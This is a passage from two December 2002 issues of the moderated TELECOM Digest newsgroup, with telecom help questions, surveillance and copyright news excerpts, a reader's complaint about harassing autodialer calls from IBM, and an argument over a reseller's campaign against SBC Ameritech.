[TELECOM Digest Editor's Note: There was a *second* message posted on Sunday regarding the 'ground start' thread. In my clumsyness I somehow got it erased before using it here. :( Sorry, whoever. If you wrote on ground start and it did not appear here today, it was lost in processing. Please resubmit with my aologies. PAT] ------------------------------ From: Loonquawl Subject: Re: SBC Ameritech Hosed Me and Now I Get Even Date: Sat, 21 Dec 2002 13:53:31 -0800 Organization: Astound Broadband Wow, I've never met anyone with phrase dyslexia before - who the hell is SouthBell anyway? I've never heard of such a company :D And seeing as you're going with the pre-SBC-conglomeration RBOCs, I love how you've also conveniently left out Southwestern Bell, Qwest, and SNET... Your plan, which involves switching to an alternate local service provider, is rather flawed, seeing as you're buying Ameritech's service resold under a different name. Unless, of course, your Excel telco (which, for supposedly being the nation's largest privately held telco, I've never heard of) has somehow colocated a DMS100/5ESS at every one of Ameritech's COs ... And my god, I should whack you over the head with books about the fundamentals of decent web design, grammar, and spelling! *whackwhackwhack* Brandon Turok http://www.loonquawl.com/ DIAL-A-MACHINE 925-288-9825 Free when you call from work A. Hackbarth wrote in message news:telecom22.203.9@telecom-digest.org: > Because of the way that SBC Ameritech has ignored me I have now made > it my business to put Ameritech out of its ... > You may Laugh, but I assure you that I can, and will cause a loss of > SBC Ameritech's Revenue ... with this lost revenue I intend to finally > pay them the money I don't owe them ... Read my letter I sent to them > and you will see the satisfaction that will bring. > You see I am an Independent Representative for North America's Largest > Privately Held Telecom Company ...and with that comes the leverage of > multi million dollar telecommunications contracts. > I offer all Americans the chance to start a Revolution ... there are > many others who have been wronged by Verizon, Southbell, Pacificbell SBC > and Ameritech. Now I can show you how to get paid, save your > customers $$$ and get even at the same time. > Now all Ameritech customers are eligible to become my customer. And > since my service is cheaper and has more benefits it will be no > problem to get people to try it for Free. > If you want to sign up for service or read my story you can go to my > website: > http://www.aaronhackbarth.com > If you work for SBC Ameritech its not your fault, its the way your > business model works. > Deregulation is Democracy Vote out Ameritech NOW!! > Sincerely, > Aaron Hackbarth > P.S. Carrot top Is F*CK*NG annoying, and by using AT$T you pay for > him to annoy millions of TV viewers every day. > DO NOT pay him, and save money for yourself, that's what I offer. > If you don't Like Me there's a special link on my site for you > especially if you like Ameritech. > [TELECOM Digest Editor's Note: Listen, Aaron, I'd like to help you > out, but I am really busy right now, on the one hand trying to put the > X back in Xmas, and on the other, trying to get Mothers who use Pulse > Dialing out of Cheapness to put money in my Salvation Army pot this > week and next. Maybe someone who goes to look at your site will read > it to me and tell me what you/it are all about. PAT] ------------------------------ From: betaphihack@hotmail.com (A. Hackbarth) Subject: Re: SBC Ameritech Hosed Me and Now I Get Even Date: 22 Dec 2002 11:34:14 -0800 Organization: http://groups.google.com/ [TELECOM Digest Editor's Note: Aaron has replied to his critics. I am pleased to present his response here, and so that he can tell everyone exactly where things are at, I have not applied my editor's pen and eraser to his message, except to keep my finger on the red button so that a ten second delay can be inserted as needed. PAT] sjsobol@JustThe.net (Steven J. Sobol) wrote in message news:: > 'A. Hackbarth : >> You see I am an Independent Representative for North America's Largest >> Privately Held Telecom Company ... and with that comes the leverage of >> multi million dollar telecommunications contracts. > I hate SBC AmeriBlech too, but you lost every last drop of credibility > you had with me when you told me that. Do You Read Forbes magazine?? go buy this months issue and last months issue read them untill then You have zero credability... How about the wallsreet journal?? read this article http://stacks.msnbc.com/news/816517.asp?cp1=1 It shows you that the company that I can give customers service from is BETTER than all other companies researched... and get paid to do it.... what about Money Magazine?? Money Magazine stated: ""Excel Communications is as good an example of entrepreneurship the world will ever see."" The Secretary of State of South Carolina, Jim Miles, as quoted in Success Magazine: ""I believe that this is the finest financial opportunity that you will ever have in your lifetime. If you do this, you will never have to have a job job in your whole life."" He was speaking to his 22 year old son. > I have *really* had trouble with AmeriBlech. I suspect you've probably > never had to deal with them, Get up, brush yourself off and fight back > and you're just making up a story in > order to make money. I can see why you may have had this attitude towards me..I also have been [red button BEEP!] hard by ameritech...They tried to ruin my credit, harass me, and send me annoying letters...and they still say I owe them $$$, and I fully intend to pay them with their own lost revenue... if I was looking at it from your perspective and someone was sayin they got [BEEP!] but can make money [BEEP!] them over I might think that you were making up your story...so I ask you, ameritech got you that sour?? and if they do they join my amassing army against Ameritech... soon I will have the bill scanned so you all can see how Ameritech thinks $99modem + $49.99 =275 and then some how it became a magic $488 thats some Fuzzy math I called those [BEEP!] and they hung up on me...5 times I even talked to a rep for 5 minutes,I explained everything, she goes hold on let me check.....click.. that [BEEP!]... They would NOT tell me where there DSL office was in Milwaukee so I could go and talk to somebody that cant [BEEP!] hang up on me he would probably try to run away. So here I am Mad as hell And I, not You, am doing something about it and soon you will all see I am not full of [BEEP!] Aaron [TELECOM Digest Editor's Note: Thank you, Aaron, for that explanation and although I have not looked at your web site, I am sure it says about the same things as above. Sorry about having to apply the red button cut-off now and then, but this is a Family Oriented Digest with Family Values, and I do not want to worry about what Families who read Usenet together see in messages, but I did want you to say it all in your own words. PAT] ------------------------------ From: Dan Bendell Subject: Question About DID and Caller ID on Non-PRI T1 Date: Sat, 21 Dec 2002 20:39:46 -0500 Organization: Assurance Technology Management, Inc. Reply-To: Dan Bendell I am looking for a clear answer regarding the ability of a T1 that is NOT a PRI to accomodate BOTH Caller ID and DID. I am being told that both an Avaya Magix and an IP Office MUST be connected to a PRI in order to get either of them. I was always pretty sure that you could get at least one at a time over a regular T1. I suppose the confusion could be related to the ability to get BOTH at the same time, and that you need the out of band signaling of a PRI D-channel to get both. I'm so confused ... and I haven't even asked about the real differece between DID and DNIS or ANI and Caller ID...Maybe some one could reccomend a good resource for these questions that is more than just a definition but also does not need an EE degree to understand. Thanks in advance. Happy Holidays ... Dan ------------------------------ Date: Sun, 22 Dec 2002 00:39:19 -0500 From: Monty Solomon Subject: Going Electronic, Denver Reveals Long-Term Surveillance By FORD FESSENDEN with MICHAEL MOSS DENVER, Dec. 14 - The Denver police have gathered information on unsuspecting local activists since the 1950's, secretly storing what they learned on simple index cards in a huge cabinet at police headquarters. When the cabinet filled up recently, the police thought they had an easy solution. For $45,000, they bought a powerful computer program from a company called Orion Scientific Systems. Information on 3,400 people and groups was transferred to software that stores, searches and categorizes the data. Then the trouble began. After the police decided to share the fruits of their surveillance with another local department, someone leaked a printout to an activist for social justice, who made the documents public. The mayor started an investigation. People lined up to obtain their files. Among those the police spied on were nuns, advocates for American Indians and church organizations. To make matters worse, the software called many of the groups ""criminal extremists."" http://www.nytimes.com/2002/12/21/technology/21PRIV.html [TELECOM Digest Editor's Note: Remember, when reading articles in NYT, you have to register. Most of us use the username = telecomdigest and password = telecomdigest. You are welcome to use it also. I guess the Denver police got this bright idea years ago from Chicago police who have also routinely kept track of 'trouble makers' since about 1950. Trouble makers = 'communists', 'radical blacks', 'anarchists', war- protestors, gay guys, anyone running for political office who is not a Chicago-style Democrat, etc. Of course drug sellers, murderers and really sick individuals who harm any of the first several categories above need not fear. You cannot expect the police to do everything. I am *so glad* to be out of that town. PAT] ------------------------------ Date: Sun, 22 Dec 2002 00:54:41 -0500 From: Monty Solomon Subject: Pop-ups Add New Twist By Stefanie Olsen Staff Writer, CNET News.com Pop-up advertisements, already the bane of millions of Web surfers, are becoming more intrusive. Pop-up and pop-under ads open a new window when people visit many popular Web sites, often littering the computer desktop with multiple browser screens. Advertisers hope people will visit the promoted Web page by clicking anywhere on the window, although many simply close it by selecting the ""X"" box in the top-right corner. But a relatively new feature may make it harder for people to avoid these windows. Using a technique called the ""kick through,"" advertisers can direct a person to another Web site if they simply move their cursor across the pop-up ad -- no clicking is necessary. Discount travel retailer Orbitz, for example, is delivering millions of holiday-themed kick-through ads on The New York Times, ESPN.com and CondeNast sites in addition to others. The ads feature various animated games, and recipients who simply ""mouse"" over them are shuttled to Orbitz's home page. Many people who have encountered the ads say they overstep the boundaries of an already intrusive and loathed form of Web advertising. http://news.com.com/2100-1023-978616.html ------------------------------ Date: Sun, 22 Dec 2002 00:57:34 -0500 From: Monty Solomon Subject: Federal Database Spy Site Fading Away By Declan McCullagh Staff Writer, CNET News.com December 20, 2002, 10:46 AM PT Call it the incredibly shrinking government Web site. As controversy grows over the Defense Department's shadowy Total Information Awareness (TIA) project, the project's virtual presence is steadily decreasing. If fully implemented, TIA would link databases from sources such as credit card companies, medical insurers, and motor vehicle databases for police convenience in hopes of snaring terrorists. First, biographical information about the TIA project leaders, including retired Adm. John Poindexter, disappeared from the Defense Department's site last month. A mirror that one activist created from Google's cache shows the deleted information included four resumes listing past work experience but no addresses or contact information. Then, sometime in the last week, the TIA site shrank still more and some links ceased to work. The logo for the TIA project--a Masonic pyramid eyeballing the globe--vanished, a highly unusual step for a government agency. So did the TIA's Latin ""scientia est potentia"" slogan, which means ""knowledge is power."" http://news.com.com/2100-1023-978598.html ------------------------------ Date: Sun, 22 Dec 2002 01:17:39 -0500 From: Monty Solomon Subject: Sklyarov Reflects on DMCA Travails By Lisa M. Bowman Staff Writer, CNET News.com SAN MATEO, Calif.--Russian programmer Dmitry Sklyarov thinks it was unfair of prosecutors to play his videotaped deposition at the ElcomSoft trial rather than calling him to the stand. But after a legal saga that's included a surprise arrest outside his Las Vegas hotel room, three weeks in jail, and visa tangles that almost prevented him from coming back to the United States for trial, Sklyarov has decided not to worry about situations over which he has no control. http://news.com.com/2100-1023-978497.html ------------------------------ From: Ed Ellers Subject: Re: Providing DSL Service Without Any POTS? Date: Sun, 22 Dec 2002 02:06:57 -0500 Phil Earnhardt wrote: > Would it be reasonable to have the PUCs require the RBOCs to provide > DSL service to their customers without having POTS on the line? This > would be good for cutsomers who had cellphone service and didn't > really need an voice line into the house."" AFAIK the telcos already do this for other DSL providers, but you still have to pay something per month for the pair, so the savings may not be great. > Don't the cable services offer POTS and cable modem internet access as > separate items? All that I know of do. ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: Providing DSL Service Without Any POTS? Date: Sun, 22 Dec 2002 18:08:52 -0000 Organization: JustThe.net LLC Phil Earnhardt wrote: > Would it be reasonable to have the PUCs require the RBOCs to provide > DSL service to their customers without having POTS on the line? This > would be good for cutsomers who had cellphone service and didn't > really need an voice line into the house. SDSL and non-line-shared ADSL are already available, but all of the DSL companies I've seen require a phone number to determine which CO your DSL would be served out of. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: John Hines Subject: Re: Providing DSL Service Without Any POTS? Date: Sun, 22 Dec 2002 13:55:19 -0600 Organization: www.jhines.org Reply-To: john@jhines.org Phil Earnhardt wrote: > Providing DSL Service Without Any POTS? Err, my SDSL line from DSL.net doesn't have a POTS line associated with it. The phone company wants to sell DSL over POTS yes, but you should be able to get what you want. Hint, it isn't as cheap, it is considered business class service. > Would it be reasonable to have the PUCs require the RBOCs to provide > DSL service to their customers without having POTS on the line? This > would be good for cutsomers who had cellphone service and didn't > really need an voice line into the house. The FCC has required the RBOCS to provide their services unbundled to the competition, again, it is something the RBOCs are fighting tooth and nail. > Have there been any initiatives to create this class of service? It > would seem that it would be beneficial for the cell phone companies to > lobby for this ... They have been spending millions lobbying against it. SBC is paying millions/mo in fines from the Illinois PUC, because they are not meeting their obligations. The phone companies are only interested in their profit. Unless this class of service improves their bottom line they are not interested. And DSL service cuts into their leased line business. ------------------------------ From: piclistguy@yahoo.com (Sanjay Punjab) Subject: Hands-Free Headset (Need Modular to 2.5mm Adapter), Do They Exist? Date: 22 Dec 2002 01:45:46 -0800 Organization: http://groups.google.com/ I just started working in a new office that has Nortel PBX phones. On the back is a module jack for a headset, yet the current headsets I own have 2.5mm plugs. Is there an adapter I can buy to allow me to use my current headsets with this phone? I searched the internet but couldnt find this type of adapter. Thanks. ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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End of TELECOM Digest V22 #205 ****************************** >From editor@telecom-digest.org Mon Dec 23 14:12:49 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBNJCna26446; Mon, 23 Dec 2002 14:12:49 -0500 (EST) Date: Mon, 23 Dec 2002 14:12:49 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212231912.gBNJCna26446@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #206 TELECOM Digest Mon, 23 Dec 2002 14:13:00 EST Volume 22 : Issue 206 Inside This Issue: Editor: Patrick A. Townson Re: How to Stop Telephone Harrasment by IBM? (flogi) Critics Weigh In on Copyright Act (Monty Solomon) Many Tools of Big Brother Are Up and Running (Monty Solomon) Repairing a Northern Telecom 2500 (Nebular) Avaya Conversant 8.0 (Shiva) Book Review: Bell Labs: Life in the Crown Jewel - A New Book (gdas) Number Portability; When and Where? (Sander) God Bless Memory Hole was Re: Federal Database Spy Site (H.E. Taylor) Re: Error Accessing Your Website (Marc Haber) Re: SBC Ameritech Hosed Me and Now I Get Even (Steven J. Sobol) Re: SBC Ameritech Hosed Me and Now I Get Even (Justin Time) Re: SBC Ameritech Hosed Me and Now I Get Even (Heath Doane) Re: SBC Ameritech Hosed Me and Now I Get Even (Aaron Hackbarth) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Sun, 22 Dec 2002 14:47:32 -0800 From: flogi Subject: Re: How to Stop Telephone Harrasment by IBM? As a follow up - I am also contacting my state Attorney General office to see if there is any way they can step in on the criminal complaint. I'll write back when things get more interesting. Thanks again, JM. Flogi wrote: > [TELECOM Digest Editor's Note: Here is a **very disturbing** report > to start the day's news. This occassionally happens where a large > company gets off in an orbit of their own, colliding with the rest > of the world, and no one/nothing seems able to stop them. The last > time I reported something like this, it was when First National Bank > of Chicago was harassing a family in Germany with unwanted fax phone > calls, and nothing would stop the bank from making their calls until > (the old) Illinois Bell Telephone Company literally went to the bank's > premises in downtown Chicago prepared to disconnect the phone line in > question and carry away the fax machine. The story has been told many > times; now today IBM is the culprit. Let's see how long it takes IBM > to wise up or stop the harassment; if they ever do. PAT] > =========================== > Hello, > I'm looking for suggestions ( non-malicious please) to get the > harrasment that has been confirmed to be coming from an IBM site to > stop. > I am tempted to hook up my computer to the line and see if I can get a > terminal session. It's like reverse hacking, instead of me trying to > get to them, they just call me and open a terminal session. However, > I really just want the calls to stop. > Any ideas? > Any legal contacts in California that might be able to help me pursue > this? And by pursue -- I mean give them a deterrent that will make IBM > listen ($$$) and one that will make me welcome a few more calls -- so > I can keep on suing them. > Thanks, > JM > <> > I'll provide a little more detail: > The calls started in October and come up on my caller ID as ""out of > area"" with no phone number attached. > I had this happen before when I first got the phone number, it appears > that my number was an old billing number for Arch Wireless. Users of > the Arch wireless service would have a computer call in their billing > records via modem to my phone number. > So I get 30-45 calls daily from an unknown number. I had Pacific Bell > put a trace on the call and they contacted the company responsible for > the calls. They would not release the company name to me directly but > would only do so with a police report. The company refused to return > Pacific Bell's phone calls so I opened the police report. The officer > was able to get the number that was showing up on Pac Bell's caller ID > and also the name of the company (IBM). > The officer contacted IBM at the site where the calls were coming > from. They asked for one week to investigate and resolve the > situation. I waited two weeks. The timeframe is now mid-November. I > followed up with the police officer and he called his contact at IBM. > His contact disputed the information traced by Pacific Bell to his > number and said that we were wrong. I then reactivated the trace and > explained this to Pacific Bell. Pacific Bell confirmed that there is > no way that the trace is incorrect and that they have re-confirmed > that the calls are coming from IBM. > I have logged over 300 phone calls with dates, and times. I still get > 30-45 calls daily. > My local police officer has not gotten any additional information from > IBM. He has provided them with the updated information and the > confirmation that this is coming from their telephone number. They > have not responded to him. > I have asked that he refer this case to the District Attorney in my > area so that this will become a criminal harassment case. While this > is still a misdemeanor, it is also still harassment. > I am also considering pursuing this in civil court. The calls come at > all hours of the day and night. It is easy enough to ignore the calls > during the day but at 2:00am, I must answer the phone each time it > rings because it could be an emergency call from someone that I know. > In civil court I believe I can obtain punitive damages since IBM has > had the opportunity to resolve this and refused to do so. I have > contacted an attorney about a civil case and we are investigating who > would be the defendant in this matter. > I am also considering small claims court but need to confirm > jurisdiction. > I'm open to hearing about attorneys that have experience in this area > as well as other possible solutions. I have had my days and nights > interrupted by this for almost 90 days and do feel some restitution is > in order. Please feel free to pass this message along to the IBM > privacy officer. > -----Original Message----- > From: Beth Givens [mailto:bgivens@privacyrights.org] > Sent: Thursday, December 19, 2002 2:47 PM > Subject: Re: Question about harassing telephone calls from IBM > I'm very sorry for the delay in responding. > I find this most disconcerting. Do you yourself have the phone number > that was identified by the phone company? > I am not at the office right now, but I'd like to contact IBM's > privacy officer about this. In the meantime, you might want to do the > same. If you go to their web site, you can click on their privacy > policy, and I think you can send an email msg to the privacy officer. > Do you know why IBM is calling you? Do they leave any messages? > Also, I'm pretty sure IBM is a member of TRUSTe. You should file a > complaint about them with www.truste.org and see if they can help you. > Beth Givens > At 04:52 PM 12/6/2002 -0500, you wrote: >> Hi, >> I am receiving about 40 telephone calls per day by a computer >> auto-dialer at IBM. These calls come in at all hours of the day and >> night; 2am, 6am, 9pm etc. I have filed a complaint with Pacific Bell >> and they have traced the calls to one number at IBM. >> I have filed a complaint with the Mountain View Police Department and they >> have opened a case and contacted IBM. IBM refuses to correct this. >> Do you think I have any other recourse? >> I've considered small claims court but don't know who to file a suit >> against. Any other ideas? I'm getting desperate here. > Privacy Rights Clearinghouse > 3100 - 5th Ave., Suite B > San Diego, CA 92103 > Phone: (619) 298-3396 > Fax: (619) 298-5681 > Email: prc@privacyrights.org > Web: www.privacyrights.org > [TELECOM Digest Editor's Note: How typical ... corporation denies they > are idiots and causing harassment; police and others who *could* take > agressive action to stop it do not really comprehend what is happening > so just shrug their shoulders and walk away from it. Corporation then > continues harassment unmolested. In the case at First National Bank of > Chicago (now they have changed their brand name a couple times since) > had these German people in tears. Over and over, all night long for a > month or two, the calls were coming in from the USA. This was back > before the system could automatically trace calls and those things had > to be done manually. After repeated complaints of 'phone ringing then > dead silence when we answered' from the people, Bundespost finally got > AT&T on the wire and asked them to investigate. It was traced back to > Illinois Bell, who then tracked it back to the bank, a full month or > more after the calls were going on nightly. The bank totally ignored > requests from Illinois Bell to fix the problem. Finally a security rep > went from Bell over to the bank with a legal notice and an ultimatum; > 'we are turning off your phones at (whatever time was permitted under > the law) because you will not correct this problem.' The notice was > given by telco to the Vice President-Telecom for the bank who went > downstairs with a vengeance to correct the problem himself. After a > bit of rudeness by him, the problem got corrected. And the idiots have > such short term memory problems; a month or so later when the bank got > a phone bill with page after page after page after page of one minute > phone calls to Germany at hours in the middle of the night when the > bank was closed, they complained 'Bell really screwed up our phone > bill this month' and wanted credit for all those calls. > I finally had to complain to the State Commission here in Kansas about > the way Southwestern Bell's alleged Privacy Manager does not work (the > one they charge people BIG $$ for without actually providing any > service for the money.) And guess who *my* culprit was? A divison of > *AT&T* who was getting around caller-ID by filling the screen with > 'name unavailable' and ten zeros for a phone number. Do any of you > young'uns remember when the phone company used to actually take > seriously their obligations toward their customer's privacy and not > just mock and humor the customers with things like Privacy Manager? > Good luck to our latest victim from IBM. Let's see how long it takes > to get them straightened out. I wonder if he has considered putting > 'privacy manager' (snicker) on his phone line or call blocking? PAT] ------------------------------ Date: Sun, 22 Dec 2002 17:58:42 -0500 From: Monty Solomon Subject: Critics Weigh In on Copyright Act By Joanna Glasner A federal agency's request for commentary on a controversial digital copyright law drew a boatload of criticism from respondents who asked for new limitations on the far-reaching statute. The responses, published Friday by the U.S. Copyright Office, are the result of a month-long inquiry concerning sections of the 1998 Digital Millennium Copyright Act. As part of a mandate to review sections of the statute every three years, the agency is looking into provisions that prohibit the use of tools that undo encryption protections on digital materials. The copyright office said the request was intended to help determine whether the law should make exceptions for tools that allow more flexible use of digital files and aren't used for copyright infringement. Respondents, including several well-known digital rights activists, overwhelmingly favored carving out exceptions to the DMCA for certain uses of music files, text and video technologies. Many argued that buyers of copyrighted works should have the right to make content accessible on more than one device. http://www.wired.com/news/business/0,1367,56963,00.html [TELECOM Digest Editor's Note: Although the copyright people do have a plausible argument about wanting to protect their material, it really is rotten when guys purchase music, text or video files and then are unable to play it when they get home from the store with it. Or, they are able to load it and play it on one computer, but not on their other computers, etc. Maybe the copyright people would settle for some arrangement where files could be copied a certain number of times on other devices (although played indefinitly on any one device) before shutting down the copying mechanism. Motorola cell phones used to be fixed that way: the user of the phone could reprogram it three times with new numbers, etc, then the phone would lock up against any further number changes, and the 'owner' had to take the phone back to a dealer or the company, explain himself, and get the phone unlocked for further programming efforts. Some people knew how to clear the counter that locked you out after three times, but not many people. Maybe the DMCA could operate with that principle; do what you want with *your paid for, personally owned* copy three or four times, then no more allowed. That would allow most guys to put their thing on two or three different computers, etc, allow them to personally use the copy indefinitly, but then lock out further copies. PAT] ------------------------------ Date: Mon, 23 Dec 2002 10:47:50 -0500 From: Monty Solomon Subject: Many Tools of Big Brother Are Up and Running By JOHN MARKOFF and JOHN SCHWARTZ In the Pentagon research effort to detect terrorism by electronically monitoring the civilian population, the most remarkable detail may be this: Most of the pieces of the system are already in place. Because of the inroads the Internet and other digital network technologies have made into everyday life over the last decade, it is increasingly possible to amass Big Brother-like surveillance powers through Little Brother means. The basic components include everyday digital technologies like e-mail, online shopping and travel booking, A.T.M. systems, cellphone networks, electronic toll-collection systems and credit-card payment terminals. In essence, the Pentagon's main job would be to spin strands of software technology that would weave these sources of data into a vast electronic dragnet. Technologists say the types of computerized data sifting and pattern matching that might flag suspicious activities to government agencies and coordinate their surveillance are not much different from programs already in use by private companies. Such programs spot unusual credit card activity, for example, or let people at multiple locations collaborate on a project. http://www.nytimes.com/2002/12/23/technology/23PEEK.html [TELECOM Digest Editor's Note: To read NYT articles without having to apply for your own username and passcode, we use usernname 'telecomdigest' and password 'telecomdigest'. You are welcome to use it also. PAT] ------------------------------ From: Nebular Subject: Repairing a Northern Telecom 2500 Date: Mon, 23 Dec 2002 00:34:08 -0500 Organization: Bell Sympatico I am having a bit of trouble with a Northern Telecom 2500 (or rather a we2500 as I've read they're the same thing) I just got. The phone for the most part works fine, however when I try to use it, the dial tone and anything else on the other end of the line is very faint. It's not a problem with the receiver as the Touch-tone comes through perfectly loud and it seems to only affect incoming signals as I've made calls with it and the person on the other end could hear me perfectly. Any ideas? Any help? I'm only a beginner hobbyist so schematics are a bit to hard to read, however I can use a multimeter and should be able to tinker with it easily. I've tried checking the web for info on this but it's a vast sea of info thus it's been tough (I feel lucky to have found this newsgroup). If you could also email me with the info, as I'm not a regular reader of newsgroups and it's easier for me to archive the info after the fact. Thanks in advance. Neb [TELECOM Digest Editor's Note: No guarentees, but try first swapping out the earpiece speaker (or the entire handset receiver if you cannot get into the earpiece itself) and see if that helps. Many times a problem with hearing/speaking on old phones can be traced to the speaker/microphone in the handset. PAT] ------------------------------ From: shivabharat@yahoo.com (Shiva) Subject: Avaya Conversant 8.0 Date: 22 Dec 2002 22:42:14 -0800 Organization: http://groups.google.com/ Hi all, I have a conversant V8 System and I would like to know has anyone has tried monitoring a remote phone thru the IVR? If you have can you tell me more about it? Thanks in advance. Regards, Shiva B ------------------------------ From: gdas75@hotmail.com (gdas) Subject: Book Review: Bell Labs: Life in the Crown Jewel; Interesting Book Date: 22 Dec 2002 22:59:20 -0800 Organization: http://groups.google.com/ Silicon Press has just published Gehani's new book: Bell Labs: Life in the Crown Jewel -- Narain Gehani Here is a quote from the book description: ""Gehani's story of the greatest research lab of the 20th century -- America's national treasure and corporate crown jewel -- will keep you riveted to reading about a way of life possibly gone forever."" Check out the detailed description at Silicon Press, Amazon, or Barnes & Noble. GDas ------------------------------ From: Sander Subject: Number Portability; When and Where? Date: Mon, 23 Dec 2002 15:02:56 +0100 Organization: @Home Benelux Hi, Does anybody know where I can find an overview of Number Portability scheduled introduction dates, especially for European Countries? Thanks in advance! Sander ------------------------------ From: H.E. Taylor Subject: God Bless Memory Hole was Re: Federal Database Spy Site Fading Away Date: Mon, 23 Dec 2002 01:25:15 GMT Organization: MTS Internet In article , Monty Solomon wrote: > By Declan McCullagh > Staff Writer, CNET News.com > Call it the incredibly shrinking government Web site. > > As controversy grows over the Defense Department's shadowy Total > Information Awareness (TIA) project, the project's virtual presence is > steadily decreasing. If fully implemented, TIA would link databases > from sources such as credit card companies, medical insurers, and > motor vehicle databases for police convenience in hopes of snaring > terrorists. > First, biographical information about the TIA project leaders, > including retired Adm. John Poindexter, disappeared from the Defense > Department's site last month. A mirror that one activist created from > Google's cache shows the deleted information included four resumes > listing past work experience but no addresses or contact information. > Then, sometime in the last week, the TIA site shrank still more and > some links ceased to work. The logo for the TIA project -- a Masonic > pyramid eyeballing the globe -- vanished, a highly unusual step for a > government agency. So did the TIA's Latin ""scientia est potentia"" > slogan, which means ""knowledge is power."" > http://news.com.com/2100-1023-978598.html Which is why we bless the Memory Hole! 2002/12/12: MemoryHole: Information Awareness Office Website Deletes Staff Biographies http://www.thememoryhole.org/policestate/iao-bios.htm 2002/12/18: MemoryHole: Information Awareness Office Website Deletes Its Logo http://www.thememoryhole.org/policestate/iao-logo.htm -het ""Orwell was an optimist."" -stolen .sig TIA Links: http://www.autobahn.mb.ca/~het/terror_war/twartl.html#USA-TIA H.E. Taylor http://www.autobahn.mb.ca/~het/ ------------------------------ From: Marc Haber Subject: Re: Error Accessing Your Website Date: Sun, 22 Dec 2002 21:39:31 +0100 Organization: private site, see http://www.zugschlus.de/ for details Kathy Bradley wrote: > [TELECOM Digest Editor's Note: Does anyone know anything about these > people? It *seems* like a good offer, but I had to pull it out of my > own spam bucket when it arrived here. I am wondering if this is going > to get me a bunch more spam if I agree to their service? Anyone? PAT] This is one of the worst spammer services around on the Internet. Query google for them. They switched to operating from Chinanet because they have been removed from almost every available ISP. They are ""block-on-sight"" material. Greetings, -------------------------------------- !! No courtesy copies, please !! ----- Marc Haber | "" Questions are the | Mailadresse im Header Karlsruhe, Germany | Beginning of Wisdom "" | Fon: *49 721 966 32 15 Nordisch by Nature | Lt. Worf, TNG ""Rightful Heir"" | Fax: *49 721 966 31 29 ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: SBC Ameritech Hosed Me and Now I Get Even Date: Mon, 23 Dec 2002 12:25:17 -0000 Organization: JustThe.net LLC 'Loonquawl' wrote: > Your plan, which involves switching to an alternate local service > provider, is rather flawed, seeing as you're buying Ameritech's > service resold under a different name. There IS a benefit. I'm switching to Corecomm, who resells Ameritech lines in the Cleveland area, because as a single person, if they fail to provide service, I have little leverage. Corecomm, on the other hand, is their largest reseller and has clout -- and having used them before I know they will take care of me. Aaron, however, is still a major dork and probably a scammer. 'A. Hackbarth' explained to us: > Do You Read Forbes magazine?? go buy this months issue and last > months issue read them until then You have zero credability. > How about the wallsreet journal?? read this article > http://stacks.msnbc.com/news/816517.asp?cp1=1 So what? SBC sucks. I'm a customer of SBC; I already know that. The only reason I had SBC was so I could get DSL, and now that Adelphia has broadband Internet service in my neighborhood and I may be closer to jumping in on a Wireless ISP project I've been considering, there is no reason to keep the DSL, and therefore no reason to keep the SBC dialtone. I'm not questioning the state of the industry. I figured you are lying about *your* personal experiences. Although, I might be willing to bend on that point, since you say you live in Milwaukee :) > It shows you that the company that I can give customers service from > is BETTER than all other companies researched ... and get paid to do > it ... > what about Money Magazine?? > Money Magazine stated: ""Excel Communications is as good an example > of entrepreneurship the world will ever see."" Excel Communications is an MLM, and I don't trust MLMs. >> I have *really* had trouble with AmeriBlech. I suspect you've probably >> never had to deal with them, > Get up, brush yourself off and fight back Dude, I'm already in the process of switching to Corecomm. I will *not* touch Excel. I have no incentive to, anyhow, as I am a customer of Sprint PCS and have taken advantage of the special landline long distance offer they have, and should have Corecomm dialtone by the end of the year. It's resold Ameritech service, but Corecomm actually gives a rat's patootie about service. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: a_user2000@yahoo.com (Justin Time) Subject: Re: SBC Ameritech Hosed Me and Now I Get Even Date: 23 Dec 2002 06:01:49 -0800 Organization: http://groups.google.com/ betaphihack@hotmail.com (A. Hackbarth) wrote in message news:: > [TELECOM Digest Editor's Note: Aaron has replied to his critics. I am > pleased to present his response here, and so that he can tell everyone > exactly where things are at, I have not applied my editor's pen and > eraser to his message, except to keep my finger on the red button so > that a ten second delay can be inserted as needed. PAT] > <> > [TELECOM Digest Editor's Note: Thank you, Aaron, for that explanation > and although I have not looked at your web site, I am sure it says > about the same things as above. Sorry about having to apply the red > button cut-off now and then, but this is a Family Oriented Digest with > Family Values, and I do not want to worry about what Families who > read Usenet together see in messages, but I did want you to say it all > in your own words. PAT] Pat, you mention ""Family Oriented Digest"" in your summation. Is that abbreviated FOD? I'm kind of curious as my son is currently on a BIG gray cruise ship (with Norwalk-like virus also) in an unnamed sea off an unnamed country. Their cruise ship has a built-in airport, and they get to walk along the ""runway"" and pick up any trash that may damage aircraft engines. The type of things they are picking up and throwing away are referred to as FOD, for Foriegn Object Damage. We appreciate your picking up and discarding the 